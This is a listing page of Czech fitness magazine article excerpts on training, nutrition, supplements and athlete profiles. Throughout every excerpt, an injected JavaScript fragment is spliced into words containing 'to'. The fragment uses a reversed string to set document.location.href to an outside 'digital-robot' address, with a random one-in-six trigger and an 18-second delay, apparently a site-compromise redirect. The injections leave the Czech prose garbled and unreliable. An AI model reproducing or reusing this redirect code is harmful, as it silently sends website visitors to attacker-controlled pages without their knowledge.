• Tréninky

    DYNAMICKÉ UVOLNĚNÍ

    Zbavte se bolestivých ložisek ve svalech pomocí speciálních strečinkových technik.   Vzpomínáte na chvíli, kdy jste poprvé použili pěnový válec nebo masážní míček? Pravděpodobně jste po těchtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pomůckách sáhli s cílem dosáhnout příjemného uvolnění a místobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho jste během chvíle skučeli bolestí v agonii tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topíce se v potu. Teď, když už víte, co manipulační techniky s těmitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pomůckami obnáší, se můžete posunout zase o krok dál.   Obvyklý způsob použití Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardní způsob…

  • Profily

    ŠTEFAN HAVLÍK – SYMBOL ESTETIKY A ELEGANCE

    Připravil: Stanislav Slimák, fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to archiv Štefana Havlíka   Patřil k nejtalentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovanějším kulturistům 90. let. Jméno Štefan Havlík je dnes synonymem symetrie téměř na úrovni dokonalosti. Když k tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomu připočtete perfektně propracované volné sestavy, které vynikaly svou elegancí, není pochyb o tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom, že před sebou máte jednoho z nejlepších slovenských kulturistů všech dob. Ve druhé polovině devadesátých let a v první dekádě nového milénia, kdy Štefan závodil, byla světobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tová kulturistika na vrcholu svojí éry. Musel tedy čelit té nejtvrdší konkurenci. Navzdory tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay =…

  • Výživa

    NAKRMTE SVOJE SVALY

    POKUD SE SNAŽÍTE BUDOVAT SVALOVOU HMOTU, ZAČNĚTE TÍM, ŽE NA VAŠEM TALÍŘI NEBUDOU CHYBĚT NÁSLEDUJÍCÍ POTRAVINY.   KDYBY BYLO BUDOVÁNÍ SVALŮ SNADNÉ, pak by všude kolem nás chodili svalovci. V reálu se na cestě k budování hmoty stále vyskytují nějaké překážky, tudíž nejde o nijak jednoduchý proces. Zejména, co se týče výživy. Ačkoliv jistě dobře znáte zásady kulturistické stravy, sestavili jsme pro vás seznam některých častobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to přehlížených potravin, které mohou budování svalové hmoty skvěle podpořit a pomoci vám tak dosáhnout vašich cílů. Jednotlivé položky jsme rozdělili do tří levelů podle jejich priority. V prvním levelu je volba zaměřená na základní makronutriční látky. Ve druhém se zaměřujeme…

  • Tréninky

    MIKE MENTZER V MODERNÍM SVĚTĚ

    PŮVODNÍ MENTZERŮV TRÉNINKOVÝ SYSTÉM SE DOČKAL SVÉHO UPGRADU A NYNÍ SPLŇUJE POŽADAVKY MODERNÍCH SPORTOVCŮ. Většinu svého dospělého života strávil Mike Mentzer (1951-2001) pilováním svého Heavy Duty tréninkového systému, který mu sloužil k jedinému cíli. Velký kritik kulturistických metobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tod, nositel titulu Mr. Universe a tvůrce systému HD nevěnoval pozornost velikosti zátěže, nešlo mu tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolik o sílu. Vše, co v tréninku podnikal, bylo určeno k tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomu, aby nabral co nejvíce svalové hmoty. Tolik, kolik mu jeho genetický potenciál umožní. A tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to během nejkratší možné doby a při vynaložení co nejmenšího množství…

  • Výživa

    JAK FUNGUJÍ PŘEDTRÉNINKOVÉ NAKOPÁVAČE

    TOMÁŠ NOVOTNÝ – lektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Trenérské školy Olympia Chcete neustále posouvat své limity a zvyšovat sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovní výkon? Potobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom budete muset správně a dostatečně trénovat, kvalitně jíst a zároveň dobře regenerovat, odpočívat a spát. To jsou základní předpoklady dlouhodobého progresu. Pokud je nedodržujete, dříve či později na tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to doplatíte. Co když ale chcete ještě víc? Je možné navýšit sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovní výkon? Odpověď zní ANO a spolehlivá metobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toda spočívá v podávání správných suplementů v optimální dávce. Víte, po čem…

  • Tréninky

    CO BYSTE MĚLI VĚDĚT O CROSSFITOVÉM TRÉNINKU

    Tomáš Novotný, lektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Trenérské školy Olympia   Crossfit je moderní sport, který spojuje posilovací trénink s výzvami, soutěžením a cvičením ve skupině. Ve fitness komunitě je crossfit stále oblíbenější, a tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to především protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, že kombinuje zábavné cvičení s efektivním tréninkem na rozvoj síly a kondice. Tedy ne, že by cvičení bylo vždy příjemné, ale i ten nejtěžší trénink bude jednodušší ve chvíli, kdy vás motivují výzvy a společnost ostatních. Jaké cviky na vás čekají na crossfitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovém tréninku? Provedení crossfitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tového tréninku se od…

  • MMA,  Profily

    MILAN GODZILLA JENŠÍK – MMA vs. KULTURISTIKA

    Připravila Katka Götzová, fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Josef Adlt   Celkem šestkrát nastobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toupil do oktagonu, z tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho čtyřikrát vyšel ven jako vítěz. Vždycky chtěl mít velké svaly a dřinu s činkami si vysloveně užívá. Ne náhodou už řadu let spojuje svoje jméno s legendárním obřím netvorem…   Máte za sebou dlouhé roky strávené celou řadou sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovních disciplín, kterou jste začínal a v jakém pořadí pak následovaly další? Začal jsem v šesti letech s fotbalem, asi jako každý kluk. Chytal jsem v bráně. Potobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom následoval amatérsky hokej a devíti jsem začal…

  • Výživa

    JAK PŘEŽÍT VÁNOCE VE FORMĚ

    Co dělat, aby byly šťastné a veselé, nikoliv ovšem ve znamení nadbytečných kilogramů a prolenošených dnů?   Asi všichni jsme si někdy byli nuceni připustit, že tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to během vánočních svátků s tréninkem tak úplně nepřeháníme. Taky si dopřejeme v jídle i pití, v duchu si říkáme, že v plném nasazení se do tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho zase pustíme v lednu, protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tože tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to budeme kupovat novou permanentku do fitka a všechno se opět vrátí do starých kolejí. Tentobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tokrát ale pro vás máme revoluční nápad: udělejte všechno protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var…

  • Výživa

    DOKONALÉ PODMÍNKY PRO BUDOVÁNÍ SVALOVÉ HMOTY

    Jordana Brown Jedno je jisté, svaly vám nenarostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tou přes noc, ale když se budete držet následujících rad, máte možnost se výrazně zlepšit během několika týdnů. Je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to vlastně ideální jídelníček v rámci tréninkového dne během objemové fáze. (Ve dnech volna vynechte předtréninkovou a potréninkovou porci a nahraďte je odpolední svačinou složením podobnou té dopolední.) Aby pro vás byl jídelníček přístupný, doplnili jsme ho rozpisem dávky bílkovin, sacharidů a tuků v každé porci. Je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totiž snazší dosáhnout adekvátního denního příjmu, pokud sledujete obsahy makroživin v jednotlivých porcích. (Dvě porce – předtréninková a potréninková…

  • Tréninky

    7 MINUT V PEKLE

    TENTO KRUHOVÝ TRÉNINK ZAPOJÍ KAŽDOU HLAVNÍ SVALOVOU SKUPINU A UMOŽNÍ VÁM DOSÁHNOUT ŠPIČKOVÉ INTENZITY V ZÁVĚRU CVIČENÍ.   VÝZVA Následující kruhový trénink se skládá ze sedmi cviků, z nichž každý budete provádět minutu. Jedná se o posilovací systém, který dokonale ovlivní metabolismus a skvěle zakončí běžnou tréninkovou jednotku. Je sestavený tak, aby zatížil kardiovaskulární systém a zlepšil celkovou kapacitu. Zátěž volte obezřetně, protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tože se stejnou váhou budete provádět všechny cviky. Začátečníkům postačí 30 kg, zatímco pokročilejší mohou použít 40 nebo i 50 kg.   CVIKY KLIKY S PODLOŽENÝMA RUKAMA Rukama držte velkou činku položenou na zemi tak, aby dlaně byly od sebe vzdáleny na šířku ramen, zaujměte…